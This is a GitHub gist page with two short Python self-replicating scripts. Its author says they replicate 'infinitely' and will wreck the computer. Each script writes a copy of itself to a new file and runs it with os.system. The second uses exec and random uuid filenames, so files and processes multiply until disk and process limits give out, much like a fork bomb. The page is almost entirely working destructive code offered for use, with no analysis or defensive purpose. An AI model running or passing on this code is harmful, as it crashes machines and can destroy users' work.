Created
February 25, 2020 22:09
-
-
Save mightbesimon/97e60f471b51b4a40b168ec90023f28c to your computer and use it in GitHub Desktop.
2 self replicating codes, infinitely replicating and speed up * * * use with care * * * will fck the computer up
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
filename = 'self_rep#0.py' | |
import os | |
with open(filename, 'r') as file: content = file.readline()*0 + file.read() | |
filename = 'self_rep#%s.py' % (int(filename.split('.')[0].split('#')[1]) + 1) | |
with open(filename, 'w') as file: file.write(f"filename = '{filename}'\n{content}") | |
os.system(f'python3 {filename}') |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import uuid, os; code = "filename = f'self_rep#{uuid.uuid4().hex}.py'\nwith open(filename, 'w') as file: file.write(f'import uuid, os; code = {chr(34)*3}{code}{chr(34)*3}; exec(code); os.system({chr(34)}python3 %s{chr(34)} % filename)')"; exec(code); os.system("python3 %s" % filename) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment